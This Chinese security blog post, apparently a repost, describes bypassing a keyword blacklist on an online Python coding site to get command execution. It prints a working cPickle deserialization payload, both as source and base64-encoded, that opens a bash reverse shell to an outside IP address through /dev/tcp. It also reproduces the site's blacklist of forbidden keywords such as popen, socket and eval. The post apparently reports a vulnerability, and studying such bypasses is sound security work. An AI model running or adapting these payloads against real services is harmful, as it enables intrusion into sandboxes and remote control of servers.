Python在线编程导致命令执行(二)

admin 2022年6月26日23:10:32评论73 views字数 1046阅读3分29秒阅读模式

之前的案例 《某Python学习网站在线编码导致命令执行》 漏洞修复后再次绕过的两种方法。


测试仍以黑名单形式过滤关键字。且只过滤用户输入,并未影响到运行时。


思路:这种过滤使用混淆(字符拼接、编码等)即可绕过,但执行混淆后的代码需要eval/exec,但它们在黑名单之内,需要“复活”之。


方案



  1. 复活eval函数

  2. 通过eval执行简单混淆过的payload

  3. 通过os.popen拿到shell


方法1:复活eval



poc 执行Linux命令 `id`


Python在线编程导致命令执行(二)



exp(getshell)


Python在线编程导致命令执行(二)


方法2:序列化替代eval



生成payload


import cPickle import base64   class MMM(object):     def __reduce__(self):         import os         s = "/bin/bash -i >& /dev/tcp/119.29.235.20/12345 0>&1"         return (os.popen, (s,))   print base64.b64encode(cPickle.dumps(MMM()))


服务端执行:


import cPickle, base64 s = 'Y3Bvc2l4CnBvcGVuCnAxCihTJy9iaW4vYmFzaCAtaSA+JiAvZGV2L3RjcC8xMTkuMjkuMjM1LjIwLzEyMzQ1IDA+JjEnCnAyCnRScDMKLg==' cPickle.loads(base64.b64decode(s))


getshell


Python在线编程导致命令执行(二)



源码



进入系统之后,看到源码中的过滤规则如下:


elif forbidden_command(self.data):     self.return_response("!!!!!!This command is forbidden.")  def forbidden_command(data):     forbidden_keywords = ["input", "system", "popen","subprocess", "commands", "rmdir", "open", "while", "help()", "serve", "turtle", "matplotlib", "socket", "eval", "exec"]
   for keyword in forbidden_keywords:        if keyword in data:            return True    return False

           


原文始发于微信公众号(乐枕迭代日志):Python在线编程导致命令执行(二)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月26日23:10:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Python在线编程导致命令执行(二)https://cn-sec.com/archives/943606.html

发表评论

匿名网友 填写信息